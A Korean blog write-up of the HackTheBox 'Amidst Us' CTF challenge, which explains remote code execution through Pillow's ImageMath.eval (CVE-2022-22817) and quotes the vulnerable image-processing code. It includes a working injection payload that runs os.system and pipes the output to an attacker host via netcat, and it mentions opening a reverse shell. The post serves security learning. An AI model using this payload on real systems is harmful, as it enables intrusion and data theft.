🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

183

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

보안/CTF

[Hackthebox] Amidst Us Writeup(문제풀이)

알 수 없는 사용자 2022. 5. 23. 01:35
728x90
반응형

문제 개요

RCE with ImageMath.eval function in Pillow(v8.4.0) python package

 

코드 분석

requirements.txt 파일을 보면 Pillow==8.4.0 이 설치되어 있다고 합니다. 그리고 util.py 에는 마침 ImageMath.eval 함수가 정의되어 있는 것을 볼 수 있습니다.

import os, base64
from PIL import Image, ImageMath
from io import BytesIO
import traceback

generate = lambda x: os.urandom(x).hex()

def make_alpha(data):
	color = data.get('background', [255,255,255])
	print(color)
	try:
		dec_img = base64.b64decode(data.get('image').encode())

		image = Image.open(BytesIO(dec_img)).convert('RGBA')
		img_bands = [band.convert('F') for band in image.split()]

		alpha = ImageMath.eval(
			f'''float(
				max(
				max(
					max(
					difference1(red_band, {color[0]}),
					difference1(green_band, {color[1]})
					),
					difference1(blue_band, {color[2]})
				),
				max(
					max(
					difference2(red_band, {color[0]}),
					difference2(green_band, {color[1]})
					),
					difference2(blue_band, {color[2]})
				)
				)
			)''',
			difference1=lambda source, color: (source - color) / (255.0 - color),
			difference2=lambda source, color: (color - source) / color,
			red_band=img_bands[0],
			green_band=img_bands[1],
			blue_band=img_bands[2]
		)

		new_bands = [
			ImageMath.eval(
				'convert((image - color) / alpha + color, "L")',
				image=img_bands[i],
				color=color[i],
				alpha=alpha
			)
			for i in range(3)
		]

		new_bands.append(ImageMath.eval(
			'convert(alpha_band * alpha, "L")',
			alpha=alpha,
			alpha_band=img_bands[3]
		))

		new_image = Image.merge('RGBA', new_bands)
		background = Image.new('RGB', new_image.size, (0, 0, 0, 0))
		background.paste(new_image.convert('RGB'), mask=new_image)

		buffer = BytesIO()
		new_image.save(buffer, format='PNG')

		return {
			'image': f'data:image/png;base64,{base64.b64encode(buffer.getvalue()).decode()}'
		}, 200

	except Exception as e:
		traceback.print_exc()
		return '', 400

 

data.get('background', [255, 255, 255]) 코드 부분이 바로 사용자 input 입니다. 그리고 alpha 변수에 대입되는 부분에 format string 이 있고, 사용자가 입력한 input 이 해당 문자열에 대입됨을 알 수 있습니다. 이 때 background 값을 가져올 때 별도의 integer 값만 가져올 수 있게 자료형 제한을 하고 있지 않기 때문에 문자열을 삽입함으로써 python 임의코드를 실행할 수 있게 됩니다.

 

ImageMath.eval 함수의 관련 CVE 내용은 아래 링크에서 찾아볼 수 있습니다.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22817 

 

CVE - CVE-2022-22817

20220107 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

cve.mitre.org

 

임의 코드 실행 관련 코드와 이를 보완한 코드는 아래 링크에 찾아볼 수 있습니다.

https://github.com/python-pillow/Pillow/commit/8531b01d6cdf0b70f256f93092caa2a5d91afc11

 

Restrict builtins for ImageMath.eval · python-pillow/Pillow@8531b01

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

github.com

 

문제 풀이

아무런 이미지를 업로드할 때 background 색을 별도로 지정하지 않으면 아래와 같은 페이로드가 전송됩니다.

 

이제 여기서 첫번째 255를 아래 코드로 대입하고서 실행해보았습니다.

(__import__('os').system('id|nc 공격자IP주소:포트'))

 

그랬더니 아래와 같이 id 내용이 잘 돌아온 것을 볼 수 있습니다.

PS C:\Users\Domdomi\netcat> .\nc.exe -lvnp 9093
listening on [any] 9093 ...
connect to [192.168.1.11] from (UNKNOWN) [192.168.1.12] 38459
uid=1000(www) gid=1000(www) groups=1000(www)

 

이와 같이 해서 실제 문제 풀이 당시에는 python 코드로 리버스쉘을 열어서 /flag.txt 의 내용을 읽어들여 문제를 풀었습니다.

 

마무리

나름 최근에 알려진 라이브러리 취약점을 이용한 문제여서 그런지 더욱 흥미로웠던 문제였던 것 같습니다.

728x90
반응형
댓글